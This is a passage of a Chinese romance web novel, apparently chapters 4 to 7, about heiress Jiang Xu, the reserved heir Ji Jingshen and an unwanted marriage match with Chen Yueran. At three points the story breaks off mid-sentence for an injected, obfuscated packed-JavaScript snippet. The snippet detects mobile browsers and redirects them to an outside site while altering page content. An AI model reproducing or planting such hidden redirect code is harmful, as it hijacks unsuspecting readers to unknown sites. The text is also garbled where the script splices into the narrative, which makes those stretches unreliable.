他极少来这种地方,台上的乐队还没开唱,周围忙忙碌碌的,挂着不少的欢迎回归的牌子。 季惊深脱下外套坐下,随口问了一句:“重新装修?” “没啊。”卡座里的方厌轻笑了一声,把玩着手中的打火机:“新兴的陈家记得吧?他们家有个特能闹腾的混小子。这不,准备要回来了,让我这提前半个月开始准备。” 指了指不远处的服务员,方厌笑骂一声:“从沙发罩的颜色,这服务员的颜值,那位大少爷都得过目。不知道的还以为是哪朝的皇帝微服私访。” 季惊深挑了挑眉,端起面前的一杯酒。 “诶,你不能喝……”方厌刚想要阻止,对上男人平静无痕的黑眸,他轻咳一声,转移了话题:“这陈少爷回来闹那么大动静,估摸着也是为了后面联姻做准备。” 季惊深抬眸:“和哪家的千金?” 方厌:“民江的姜家小姐,听闻两人青梅竹马,姜家也有这个意向,这两天往陈家跑了好几趟。” 季惊深静默,喉结微微滚动着,饮下了一整杯酒。 “不过话说回来……季家也给你找联姻对象了?”方厌笑问了一句:“没拒绝?” 季惊深看他一眼,语气极淡:“哪来的消息?” “你弟,季惊扬呗。”方厌拿出手机,一边翻着一边笑道:“这不前几天他和朋友来这里玩,喝多了聊起你。有人说你这长相除非是天仙才配得上,那小子不服,说有个姑娘比天仙还好看,还有图有真相的。” “你可从不和女生合照,这不是你未来对象还能是谁?”他将照片递过去,神色八卦:“请问季大少爷,这位赛过天仙的姑娘,是哪家的?” 季惊深的视线定格在那张照片上,几秒后,缓缓道:“姜家。” 方厌:“哪个姜家?” 季惊深:“民江的姜家。” 方厌震惊,酒杯都差点拿不稳:“不是,你和陈家那小子撞联姻对象了?” “咔哒。”酒杯搁置在桌面的轻碰声,季惊深收回视线:“你觉得呢?” 方厌笑得十分地不怀好意:“我觉得是误会。还有,我提个醒。这天仙我虽然没见过,但是多少了解点。没有外头传言的那么不堪,人是还不错的。” “但她啊,对待感情,不会是从一而终。和我一样,大多数是新鲜感上头。你两,感情观不一样。” 说得随意,他的目光却锁在了季惊深身上。 男人似乎并无太大的兴趣,低垂的眉眼看不出太大情绪。他的肤色过于白皙,在各色灯光下倒是看不太出。衬衫包裹下的精瘦身躯靠在沙发上,手中握着的酒杯刚刚倒了大半杯的酒,伴随着他的动作,荡起很浅的涟漪。 “记下了。”季惊深说。 方厌不由得松了一口气,嘴角挂着吊儿郎当的笑,又拉着季惊深絮絮叨叨吐槽了一堆事。 “大少爷,已经是第二杯了。” 阴影之中,有保镖上前,低着头不敢直视季惊深:“老爷子说了,您的身体,不适合在酒吧过多……” “下去。”温和而又极具压迫感的声线。 话音落下的瞬间,季澜之的电话打到了季惊深手机上。 酒意卷着燥意驱使着季惊深没心情应付,冷眼旁观着电话响到最后一声,才缓慢地直起身体:“方厌,照片的事…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871169|176207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 方厌:“放心,早就处理好了,你弟手机里的都被我删了。” “嗯。”季惊深应下,又道:“发我一份。” “……啊?” 夜深。 季惊深回到云溪别院时,已经接近凌晨。 指纹解锁,门打开的瞬间,安静的客厅开着一盏分外亮堂的吊顶灯。不请自来的季澜之闭眼在沙发上养着神,听到声音后,拧起眉道: “怎么去酒吧了?这么晚回来也就算了,还喝了酒?惊深,你的身体这些年是养得不错,可你底子终究是比别人差。家里长辈都担心你,以后……” “以后我身边的那些人,都撤了吧。” 季惊深语气淡淡,他缓慢地将外套脱下,松了松领带,眉头稍稍舒展。 季澜之皱眉,语气忍不住加重几分:“都是为你好,要是你出点什么事,你让我和你爷爷怎么办?惊深,我们只是关心你。” 熟悉的话语不厌其烦地敲打着他,季惊深慢条斯理地温了水,泡好一壶茶,嗓音低沉:“爸,我没在和您商量。如果季家需要一个只用乖乖听话的傀儡,或许现在领养一个作为培养人,还来得及。” 季澜之一噎,心里又气又急。想到这些年季家做的那些出格事,轻叹一口气:“说的什么话,什么傀儡,你爷爷和我,只是……希望你好好的。” 季惊深不语。 “行行行。”季澜之退了一步:“你的事我们尽量不过问,只不过惊深,家里有些规矩,是万万不能破的。” 客厅恢复了安静。 季惊深握着微冷的茶水,目光定格几秒,最终还是缓缓放下。 季澜之的暗示,他听得很明确。 这些年哪怕不在国内,他的一举一动也有人向老爷子和季澜之汇报。国外的生意不少,对外他是在养病,实则早就开始上手接触。工作,调养。这两件事贯穿了他在国外的十年,索然无味到激不起任何波澜。 回国之后,依旧是和之前并无差别。唯一不同的就是,那一晚,出于方便,和民江的姜小姐一同回来。只是这么小的一件事,老爷子和他的父亲就如临大敌,将姜许调查了个清清楚楚。 这事虽没有摆在明面,可消息也并没有故意压下去。不直白也不藏着,旁敲侧击地表明了他们的态度。 规矩,不能破。 季家要的太太,历任都是温婉大方,知书达理的。尤其是,门当户对。 手机震动着,季惊深移了几分视线看过去。 是方厌发来的:【到家了?】 季惊深回了个“嗯”,视线上挑,却又看到半小时前,方厌发来的照片。 夜幕落下,落下的光是身后的路灯。坐在他身侧的姜许,眼里还带着几分怔怔然,巴掌大的小脸五官分外精致。 惹眼,张扬。 两个多月前的机场,他时隔十年再回到北安。一众陌生的面孔之中,他独独看到了姜许。 长发高高盘起,分外明艳的精致面容和暗红色的风衣相得益彰。 这红色配她,很合适。 国际机场的人并不算多,她就站在那辆银色的宾利面前,里面传来一道男人的怒吼声:“姜许!” 十五六岁失去双亲,独自在吃人的伯父伯母身边长大的那位姜小姐。 她微微前倾了身体:“姜延河你算个什么东西啊,小三生出来的玩意也配让我喊你哥?” “……” 这脾气配她,也很合适。 5. 第 5 章 通宵看了一部多年前的狗血剧,姜许再醒来时,太阳都快落山了。 她望着头顶的灯,脑袋里回荡的都是剧里魔性的语录。发懵了好久才点开姜祁州的微信,把昨天的事情说了一遍。 姜祁州隔了三分钟后回了话:【没冲动,不错。】 【姜祁州向你转账50000。】 “……” 什么鬼,把她当一言不合就发脾气的小孩子? 把钱收下,姜许点了一份外卖,开始翻找前不久喝醉后随手解下来的项链。 东西实在是太多,除了她本身四处堆放的衣服之外,还有不少姜祁州从天南海北给她搜罗来的,还未拆开的快递盒。 当初买这套房子的时候,是姜许和姜祁州最穷的时候,找了好几个月才捡漏买了这套小二房的老小区。从毕业开始住了好些年,一直想换,却又碍于拖延症到现在都没动静。 看着现在这幅无处下脚的客厅,姜许觉得,是时候该换一套了。 无功而返地回到餐桌旁等外卖,团队群里的消息已经发了几十条。 姜许很快往上查看消息。 是唐渺渺转发的一条微博链接。 秦知瑶:【昨天没和姜许老师合作上,希望过几天能合作上呢。艾特姜许。】 这等于是坐实了她和秦知瑶要合作的事。 何月:【姜许姐呢,是不是没睡醒啊?那柒渔那边,我们该怎么回?】 潜水将消息看了一遍的姜许很快地打下了一行字:【跟那边说再约时间拍摄,给的钱多,不赚白不赚。】 何月发了个委屈的表情包:【好吧,为了钱,奋斗!】 确定好了合作后,姜许给张彦打去了电话。秦知瑶太忙,时间定不下来。姜许各种品牌方活动也多得很,做不到随叫随到,沉默了两秒后,张彦立马心领神会。 “最迟后天,时间会定下来。” 挂断电话后,姜许才有空往下翻着消息,姜广安在今早给她发了一篇几百字的小作文。 将陈越然夸得天花乱坠,她要是不嫁过去就是她这辈子的损失。 姜许转手就点了转发,在三人群里逗着趣。 【这口才,我大伯不去做媒婆真是可惜了。】 江小满:【这事确实麻烦,实在不行我请假几天去陪你?】 她这段时间实在是忙,好几次姜许都抱怨说十年闺蜜都快处成了网友。可也没办法,最近项目紧,加班到十一二点都是常有的事,她都快抑郁了,唯一的排解活动也就是在群里发发疯。 姜许很快发了个抱抱的表情包:【不用了,你那项目提成不少,我自己能行。】 季惊扬:【其实有个事……】 季惊扬发了张图片过来。地方是在酒吧。原本驻唱的舞台后的大屏幕里,放着十六七岁的姜许。 不等姜许反应,又是一个视频。 这一次,大屏幕里滚动的是PPT式的视频,高中时期的姜许,初中时期的姜许。稚嫩而又懵懂,无一例外的是,旁边都有一个陈越然。 好看哥:【姜许姐,我都不知道你和陈越然有这么多合照。】 巧了这不是,她也是刚知道的。 好看哥:【我问了一下,这是陈越然回国接风宴上的压轴项目,估计是,要跟你当众表白。】 姜许:【……地址。】 半个小时后,姜许来到了伍楼。远远的就看到季惊扬在吧台旁,和一位吊儿郎当的男人在交谈什么。 姜许走近,季惊扬余光瞥见,抬手打了招呼:“姜许姐。”他笑得灿烂,看了眼身侧的男人介绍道:“这位是方厌哥,伍楼的老板,也是佳铭的三公子。” 姜许微微点头,打了个招呼:“你好,方老板。” 她和方家来往不多,关于方厌的事情,知之甚少。只知道是个只爱风花雪月的公子哥,家里宠着,前两年才回北安开了家酒吧,红颜知己不少,可却一直单身。 她抬眼看向方厌,察觉到对方的眼神也直勾勾地落在自己的身上。眼角微微勾起,泛着几分耐人寻味的笑意:“原来是天仙啊……” 姜许:“什么?” 方厌失笑,语气慵懒又有几分欠揍:“没什么,姜大小姐来这里的目的惊扬已经说了。首先呢,我是十分唾弃这种告白方式的,实在是太不绅士了。” 姜许面无表情地看着打诨的某人,等他说完,才淡淡地道:“直接说但是吧。” 还挺上道。方厌眼里的笑意更深了:“但是呢,陈大少爷说了,不管姜大小姐出什么价格撤下这些,他都出双倍。我这里是做生意的,还望姜大小姐见谅。” “不过呢,作为本人的赔礼道歉,既然姜大小姐特地来一趟,今日的开销,免单了。” 姜许看向远处的大屏幕,她和陈越然的照片一张张的播放。少年陈越然望向自己的眼中,带着的是不服输的占有欲。 令人窒息。 她沉默的这会,季惊扬的心都提到了嗓子眼,小心翼翼地喊了一声:“姜许姐?” 姜许回过神来,笑道:“走呗,愣着做什么。” “去哪?” “喝酒。” 白送的不喝白不喝。 看着他们落座,方厌敲了敲吧台的桌面,吩咐道:“三号桌那边,照顾好。那位小姐有什么要求,尽量满足。” 沉思两秒,方厌拨了一个号码过去。几声之后,那头的季惊深接起:“怎么?” “没什么,和你闲聊两句。”方厌看向不远处随性慵懒的姜许,调侃道:“见到天仙本人了,是比照片上好看。” “嗯。” 季惊深淡淡地应着,话筒里还传来几声翻阅文件的声音,看上去并不感兴趣。 方厌挑了挑眉,随即笑了笑:“差点忘了,你今天正式回逸安忙得很,我就不打扰了。” 电话挂断,季惊深眸色微顿。清冷而浅的眸子抬起,漆黑如墨。 刚进来的胡泽脚步一顿,却又看到季惊深匀称修长的手握住了笔,在最后一页签下自己的名字。 “后面的安排都推了。” 胡泽迟疑两秒:“九点那个会议倒是可以推,只是现在谢老爷子已经在会客室等着了,季总您看……?” 季惊深微微抬了下眉,起身穿上外套,语气低沉:“先去见谢老爷子。” 胡泽点了点头,又察觉到季惊深比平时快上些许的步子,他赶忙问道:“是有其他什么急事吗?季总,方便的话,我替您走一趟。” 季惊深的脚步顿住半秒,又很快地朝着会客室走去。空荡安静的走廊上男人低沉的嗓音带着几分肃穆: “不方便。” 才八点多,酒吧刚开始热闹的时候,姜许却已经没了继续的兴趣。 季惊扬喊了不少朋友,本想着给姜许解闷逗趣,却瞧见她早早地起身。也顾不上那帮朋友,他赶紧道:“这些都不喜欢?那我把LS那个头牌喊过来?” 姜许不常来酒吧,倒是喜欢跑去会所。私,密性不错,兴致来的时候男模点了不少,LS的头牌长相不错,做事也深得她心。 “别了吧。”姜许实在是没什么兴致,还不如回家继续躺着睡觉。 “那我送你……”季惊扬刚起了个身就被姜许按住:“不用,你朋友还在,我自己回去就行。” 姜许到楼下时,北安市亮起了夜灯。来来往往的人很多,喧闹的街巷烟火气息十足。今天她没开车,正想着叫车,却扫到不远处侧对她站着的男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871170|176207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 夜晚微凉,男人换了件黑色的外套,身材挺拔修长。暖黄色的路灯落下来时,为那张过于苍白的脸上增添了几分暖色。 他握着手机,修长的手指如竹节般骨感好看,经络分明。此刻握着手机抬起时,腕口处银色的袖扣折射着几分光芒,莫名地吸睛。 清冷的声线念着发音标准的英式英语,姜许隐约能听到几个词。 并购,海外生产线。 似乎是她的目光太直白,专注于工作的季惊深侧目,和她对上了视线。 十几秒后,季惊深挂断了电话,眉梢轻压着:“姜小姐。” 姜许回了个笑:“季先生,晚上好,你这是……” “在附近刚刚谈完工作,来这里透口气。”季惊深语气淡淡。 声音的确是带着倦意,估计今天一整天他都在忙。姜许了然点头:“工作辛苦了,别太累。” 她对长得好看的人总是有几分怜惜,尤其季惊深这样的。 “是要回家?”季惊深的目光落在她忽闪的眼眸中。 她有一张过于精致的脸,不做表情时,上挑的柳叶眼会耷拉些许,显得不好靠近。可此刻她的眼里含着几分礼貌的笑意,光影落入,慵懒而又矜傲。 像是十五岁那年,他一眼相中的那只布偶猫。骄纵,喜欢挠人,乖的时候,又软得不可思议。 “对,玩累了。” 姜许轻声回答,身体还没来得及做出离开的动作,季惊深已经开口了。 他的视线落在她的身上,低沉而寡淡的声音慢条斯理而又温和,似飘落的羽毛,在五六分醉意之下,勾着姜许的心神:“太晚了,我送你。” 姜许想着她应该是要拒绝的,神使鬼差之下,脱口而出的话先一步过了脑子—— “好,麻烦了。” 上了车,前头的胡泽平缓地开着。 车内寂静一片,姜许开了一些窗,冷风灌进来吹的这十分钟里,她清醒了。后知后觉反应过来自己顺着酒劲做出的选择后,只想闭眼装死。 上次她就顺路送了季惊深一次,季老爷子和那位季四小姐就在饭桌上内涵她。这又来一次,指不定她要勾搭季惊深的事立马坐实了。 外面风不断吹过。 姜许匆忙出来,还未来得及化妆。脸颊两旁染着酒后的红晕,红唇轻轻抿着,似是在懊恼。偶有霓虹的灯光落在她的脸上,把她笼罩在了暖色的剪影之中,乖巧而又安静。 手机响起了几个电话,被季惊深直接掐断。 须臾,他收回些许目光,清清淡淡地开了口:“听闻姜小姐要和陈家联姻了。” 发呆的姜许缓慢地回过神来,语气有几分燥意:“假的。我没这想法。” “这样啊。”季惊深的嗓音沉了些许:“陈家那位,的确配不上姜小姐。” 姜许抬眼看向男人,有些错楞。 季惊深夸她呢。 可圈子里谁不知道她比陈越然还不着调,身边的年轻小男生如同雨后春笋,一茬接着一茬。年轻一辈的世家小姐里,属她玩得最花,就连俞晓染那个死女人都甘拜下风。 所以,这话是客套话吧? “结婚的事,我也不急。”姜许立马将客套话还了回去:“话说前些天还听圈子里提起这事,季先生这么优秀,北安找个当户对性情对眼的小姐,怕是一个都没有。” 季惊深垂眉:“我不看重家世。” 嗯……确实,整个北安找不出第二个和季家可以相提并论的世家。 姜许默然,继续接话茬:“那性情合拍也……” 季惊深:“有。” 姜许一愣:“什么?” 季惊深不疾不徐地道:“有一个性情合拍的。” 6. 第 6 章 不是说没有心仪的对象吗…… 这季惊扬的情报简直就是诈骗。 姜许眉眼轻扬,红唇轻启着酝酿该怎么询问,季惊深又道:“姜小姐呢?” 姜许落在季惊深身上的目光微顿,错开了视线:“没有季先生幸运,我还没遇到。” 沉默的这会,车子已经稳稳当当地停在了姜许的家门底下。 季惊深顺着窗外看去。 是北安一处偏老的小区,楼道的外墙早就脱了漆,露出黑灰色的斑驳。楼梯口处只有一盏忽明忽暗的路灯,隐隐约约的,还能听到二楼喝酒的嘈杂声。 他知道民江近几年大不如从前,可也没想到,姜许会住在这个地方。 “今晚谢谢季先生了。”姜许客气一句:“不嫌弃的话,上去喝杯茶?” 她的心口被高高提起,望着季惊深,在他一句,“太晚了,就不叨扰”之后,浅浅地松了一口气。 眉头舒展开来,她温声道:“那,季先生路上小心。” 随后,飞奔似地离开,似乎身后真有洪水野兽。 车门关上。 胡泽也没敢动,悄悄地顺着车内的后视镜往后头看去。男人微微侧着脸,目光顺着五楼的方向注视着。 “其,其实季总完全可以告诉姜小姐您是来接她的。”胡泽磕磕绊绊地说了一句。 什么在附近谈完工作,明明是在和谢老爷子会面完推了之后的工作往这边赶的。 季惊深没说话,直至五楼亮起了灯,他才淡声开口:“回去吧。” “是。” 这些年,察言观色几乎是季惊深的本能。刚才姜许就坐在他的身边,明明是在邀请,眉中却紧张地拧了几分,内心明显的拒绝。 他也不想勉强。 手边的电话打进,季惊深随手接起:“怎么?” “我给你打了好几个电话终于舍得接了?”方厌笑骂道:“我听人说,刚才在楼下看到你的车了,来问问,怎么回事。” 季惊深用着一贯的借口:“谈生意路过。” “啧。”方厌最无奈的就是季惊深这点,这人情绪太过平缓,压根听不出真假。 “陈家那位的接风宴是什么时候?” 方厌惊讶:“周五,你要来?” 季惊深:“随口问问。” 掐灭和方厌的通话,季惊深闭目养神了几分钟后,吩咐前头的胡泽:“通知张彦,秦知瑶和姜小姐的拍摄定在这周五。” 胡泽刚想要应下,又立马想起:“秦知瑶最近活动多,那天,应,应该是要为了炒绯闻和当红的一个男艺人吃个饭……” 他说得极其委婉。秦知瑶需要热度,炒绯闻的小动作玩得不亦乐乎。倒也不是真的没有时间,只是在热度面前,其他事并不重要。 “那就问问她,周五是想要去炒绯闻,还是想要吴导筹备的那部新剧。” “明白了,季总。” - 姜许收到张彦的拍摄时间通知后,很快应了下来。 “我们时间可以,秦知瑶那边怎么说?”她不想又干等五个多小时。 张彦:“姜小姐你就放心吧,这次肯定准时!” 说是这么说,姜许还是保持着怀疑的态度。周五那天的拍摄,游戏机都充满了电,到地方时,却看到秦知瑶已经在拍摄大厅等着了。 “姜许姐姐!” 秦知瑶蹦蹦跳跳地凑到了姜许的面前,将手里的品牌方礼物递了过去:“上次真的是不好意思啦,让姜许姐姐等那么久,这是我的道歉礼物,希望姜许姐姐不要生气。” “我,我真的不是故意的。”秦知瑶握着拳头,一副诚恳认错的样子:“姜许姐姐那么好,要不,你骂我两句好了,其实也都怪我那天拍戏不在状态,耽误了太多时间。” 秦知瑶叽叽喳喳说个不停,姜许被吵得头疼,招了招手:“渺渺,先给她化妆。” 唐渺渺很快走了过来,领着秦知瑶在一旁坐下。 姜许核对了一遍借来的高定晚礼服以及后续流程,这才有时间查看从一早上就被轰炸的短信。 全部是未知号码,开头第一句却一模一样。 【我是陈越然。】 【我到北安了,今晚的接风宴,你得来啊。】 【怎么又不回我?好歹是青梅竹马认识这么多年,姜许,老朋友吃个饭都不行吗?】 姜许直接全选删除,下一秒,又是一个电话打来。 挂断,拉黑。 新的号码再次打来。 反反复复,大有一种姜许不接就继续打的架势。 深呼吸三秒后,她接起,努力克制情绪:“陈越然,这么多年了,你怎么还是那么遭人恨。” 那头低低地笑出声来,声音愉悦而又满足:“这么多年了,终于又听到你骂我了。姜许,我有没有告诉过你,我最喜欢你这幅样子?” 姜许:“……” 有病! 跟吵吵闹闹的一众兄弟们打了个眼神示意,陈越然走到走廊处:“你在哪,我去接你。” 姜许:“我在工作。” 陈越然“啧”了一声,很是不满:“又去拍你那个劳什子艺术照啊,一天才几个子啊,我出十倍给你。我回国的接风宴你不来,说得过去吗?” 陈家的独苗苗,哪怕是被丢在国外,这些年也依旧是要风得风要雨得雨。一场接风宴,光是订酒就花了上百个。对于姜许坚持的工作,他从来都是看不上的。 “是比不得陈大少爷有钱,所以,我就不去给陈大少爷丢脸了。” 陈越然赶忙改口:“我错了还不行?说真的,给个地址,我去接你。” 姜许:“不用了。” 挂断,拉黑。 姜许开了免打扰模式,看到唐渺渺那边已经到了最后的妆容部分,她很快进入到了工作状态。 拍摄持续了七八个小时,等到结束,姜许已经累得手都快抬不起来。 秦知瑶却一副精气神十足的样子:“姜许姐姐,你皮肤真好,素颜都这么好看……” 姜许抬了抬眉,温声回她:“你也很好看。”脸蛋有些肉嘟嘟的,是近几年流行的幼态脸。 前些天被放了鸽子,还以为这位会很难相处。结果就是一个被经纪人管着的小女孩,呆呆笨笨的。 “没有啦,我每个月都要去做——”眼看敏.感话题被带出,一旁的赶紧赵姐打断:“等会有个饭局,瑶瑶收拾一下,我们得先过去。” 秦知瑶歪着脑袋:“不是要去找季总吗?赵姐,这几天怎么没见季总呀?” 赵姐看了眼屋里的其他人,快步走过来拉了拉秦知瑶:“季总前两天就回逸安了,别问那么多,你赶紧收拾。” 后面的声音伴随着两人离去,加上赵姐刻意压低的声音,逐渐听不清楚。 姜许疲惫的脑袋接受着消息。 季惊深在柒鱼的过渡期结束,已经回到总部逸安。也难怪,那天都晚上了,还得忙活着处理各种事情。 “姜许姐。”何月小跑着过来,乖乖地蹲在姜许身边。 摄影棚里温度有些高,细密的汗顺着姜许的侧脸滴落下来。她盘着丸子头,圆润的耳坠上是小钻形的耳钉,干净而又利落。虽然神色倦态,但是依旧是好看得晃眼。 她的眉头拧了拧,捂住了腹部。 何月着急道:“姜许姐,是不是又不舒服了?现在工作也结束了,我陪你去医院。” “人家医院也下班了。”姜许摆了摆手:“回家休息就好。” 天色被落日染成了一片橙黄色,姜许一路疾驰回家,刚刚订了饭,手机消息又上了百条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871171|176207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 上流圈子的八卦群里,她毫无疑问的,在今天成为了八卦的焦点。 陈越然的归国派对弄得人尽皆知,圈子里不少小姐少爷都去了,此刻正在疯狂地艾特她。 【姜许怎么还没来,女主角呢。】 【还真别说,姜许和越然挺配的。艾特姜许,别害羞了呗,平时也没见你是个这么忸怩的人。】 呵呵。 姜许:【平时也没见你是这么个爱管闲事的啰嗦男。怎么的,家里老婆外头小三都哄好了?】 姜许:【去不去跟你们有关系吗?这么喜欢撮合人怎么不去开婚介所?】 姜许:【闲着没事做就去死,至少不会让人这么讨厌。】 群里安静了一瞬,再无半点艾特姜许的消息。她蜷缩在沙发上,又起身,翻找出止疼药吃了一颗。 隔了几分钟,远在度假的俞晓染私发来了消息。 俞晓染:【今天攻击力强到没边,怎么,陈越然那傻逼惹到你了?】 姜许:【。】 俞晓染:【实在不行你和我哥在一起算了,我哥还行的。】 姜许:【。】 俞晓染气得丢下了手机。 她这可是难得关心她,连个字都不回? 把她当什么了,她姜许的舔狗吗! 死女人! 夜晚的北安依旧热闹,灯火通明。伍楼人声鼎沸,每一处都是陈越然精心安排过的。 过往的合照,空运过来的鲜花,以及……他花了一年时间去挑选的求婚戒指。 “越然,这姜许肯定不来了。”喝多了的张家少爷拍着他的肩膀,笑道:“可惜了,你今晚准备得这么好。这女人太不识好歹……” “滚,她是你能骂的?”陈越然烦躁地拍开他的手:“她不来,我亲自去找她不就好了?” 丢下一众人,身为主角的陈越然开着银黑色的迈凯伦一路猛踩油门。 外头下了很大的雨,不断地打在车窗上,躁得陈越然的耐心都快耗尽了。 姜许不喜欢他,这一点他一直知道。可是这个圈子里哪有什么喜不喜欢,民江需要和他们家联姻,他也恰好独爱姜许那样的。 所以就顺从着家里,和他结婚,不就好了吗?这些年他都对姜许谈的那些男人睁一只眼闭一只眼了,只要姜许能和他结婚就够了。 这样的包容心,姜许还有什么不满意的? “嘭!” 车门被陈越然狠狠关上,他撑着伞,抬腿就要往楼上走去,却被人拦住。 “什么意思?”陈越然不爽得很。 姜许做的?不可能。 姜祁州? 陈越然回头看去,一辆深色宾利欧陆安静地停在雨夜之中。 抬腿走去,却再一次被拦下。没见到人,陈越然却看清了车牌号。 不知道具体是谁,可绝对不是姜祁州。而且,这人的权势地位,不一定在陈家之下。 “麻烦陈少爷今晚好好地在伍楼玩乐,姜小姐今晚,谁都不见。” 拦着他的男人总算是开口了,礼貌却又强硬。 陈越然冷笑一声:“那我非要呢?” 男人:“我记得打架斗殴顶多是拘留几天,只是陈少爷刚回国……不会是想吃个接风宴又出去锻炼几年吧?” “妈的!”痛处被戳。陈越然忍不住朝着姜许所在的楼层看了一眼:“姜许你又招惹了哪尊大佛!就不能安分一点吗!” 男人未动,尽职尽责地挡在他的面前。 陈越然想要发飙,火到了嗓子眼又咽了回去。大伞之下,雨声大得恼人。 “行,我今晚不见她。”陈越然强忍怒火:“毕竟,我和她来日方长。” 看着陈越然的身影走远,车内的胡泽松了一口气,低头打开了微信。 7. 第 7 章 夜已经深了,不算宽敞的独栋客厅,被各色各样的字画古董包围住。胡桃木色调的沙发处,男人温雅矜冷,漆黑的眸子定格在棋盘上。 直到一声震动。 季惊深从棋盘上移开视线,修长的手指按在手机屏幕的最下端,解了锁。 他回了个“嗯”,退出去,还显示方厌的几条未读消息。 方厌:【这小嘴跟抹了蜜一样。】 方厌:【招惹不起啊,这天仙。】 一张群聊天记录截图,一众人之中,那红色财神爷的头像分外明显。 字字诛心,毫不退让。 季惊深眉梢染着几分温度:【挺好。】 方厌:【?好什么?】 “这么晚了还有工作上的事?”苏老爷子笑看着自己这个许久未见的外孙,声音和蔼。 季惊深执着黑子,骨节分明的手指落在棋盘时,格外地赏心悦目:“不是。” 苏老爷子琢磨了下,笑问:“私事?” 季惊深颔首。 外头的雨声愈发的大了,树梢被淋得漱漱而落。他将心思专注到棋盘上,白子包围之势,难以扭转。 苏老爷子别有深意地看着自己的外孙:“早知道你今晚心里头挂念着事,就不让你过来了。这不,一晚上心神不宁。” 季惊深默然:“是我的问题,外公,抱歉。” 今天本就是要来陪苏老爷子的,他自认为思绪落在棋盘之上,却不知什么时候飘忽到棋盘之外。 “你瞧瞧你,怎么还是那么一本正经,我也是随口一提,这下棋改天再尽兴就好。”苏老爷子笑了笑,又问:“感情的事?” 季惊深微顿,幽深的黑眸晦暗难测:“不算是。” —— 姜许这一觉睡得不算好。 半夜下了雨,老旧的窗子并不隔音,吵得她辗转反侧好几次。 越睡越困,直到中午才爬起来收拾好自己往星好赶去。姜许没开车,坐在出租车上时,才得空看消息。 天条:【昨晚陈越然没骚扰你?】 姜许:【关机看电影了。】 好看哥:【不是,他没去找你吗!】 姜许:【没。】 好看哥:【不可能吧……方厌哥跟我说,他中场就跑了,快散场才一身火气的回来,我还以为是去找你被你骂了一顿。】 确实,陈越然的性子,像是会做得出这种事的人。昨晚,也确实太平静了些。 姜许满心疑惑,张知雅的电话劈头盖脸地打了过来。 “昨晚为什么不去?你知不知道越然都打算跟你求婚了,那孩子一片真心,你嫁过去没损失!” 姜广安也在电话那头好声好气地劝着:“是啊小许,就算你不喜欢越然那孩子,大不了你婚后再,再玩就是了。” 可真是她的“贴心”好大伯,这都教上她以后婚内出轨了。 “那不行,我和畜.生还是不一样的。”姜许意有所指:“再说了大伯,我这新谈了个男人,最近喜欢得紧。要不,你问问陈家,介不介意给他家儿子戴着绿帽联姻。” “你!”姜广安被气到了,还是耐着性子道:“小许,我知道你那些个男人都是在演戏。好了,后天下午三点,你和越然那孩子见一面,具体的,你们自己聊。” “姜许,这次,你必须得去。” 姜许挂断电话。 去是去的,不然昨晚躲得过,以后可躲不过。就是,要找个一劳永逸的办法。 划着手机,姜许在一众备选小男生列表上挑了又挑,还是叹息。 陈越然可不是这些小男生能够随便糊弄的。 好看姐:【艾特好看哥,现在是单身吗?】 好看哥:【那肯定啊!】 好看姐:【我记得,你去年满18了对吧?】 好看哥:【?】 好看姐:【和我谈个恋爱。】 几秒后。 【好看哥已退出群聊。】 姜许被气笑了,反应过来之后翻出季惊扬的微信,直接打了个电话过去。 季惊扬这会正在家里听着长辈的念叨,冷不丁接到电话,小心翼翼地走到外头接起,表情哭丧着:“姜许姐,你鬼上身了?” 姜许忍住把人臭骂一顿的冲动,咬牙道:“帮个忙,陈越然那边,不好糊弄。” 季惊扬“噢”了一声,还是犹犹豫豫:“可是,我们两他就信了?” 车子到了星好娱乐,姜许拉开车门。中午暖阳照耀,散了春夏的寒凉。 姜许不疾不徐地按下了电梯,一出大戏剧本已经写好:“嗯,毕竟我们也认识那么多年,日久生情正常。你还年轻,正巧我最近两年找的都是小奶狗。合情,合理。” “好,好吧……”季惊扬咬牙:“姜许姐的事,我义不容辞!” 挂断了电话,季惊扬很快收到了姜许发来的时间地点。就在明天下午,比完早上那场比赛,正好可以赶过去。 “在做什么?” 一道声音从他后背传来,季惊扬做贼心虚地差点没握住手机,看见是季安棠后,才松了一口气:“没做什么。” 季安棠看了一眼他的手机:“姜许的电话?” 季惊扬点了点头,生怕季安棠多问,快声道:“爷爷找我,堂姐,我先进去了。” “堂姐”称呼出来时,季安棠微不可闻地蹙了蹙眉。 这么多年了,她一直努力缓和和季惊扬的关系,却无济于事。 “惊扬。”她喊住前头的少年,语气认真:“你要是真对姜许有意思,堂姐可以帮你。” 啊?! 短短十分钟内受到两次惊吓,季惊扬整个人都不好了。 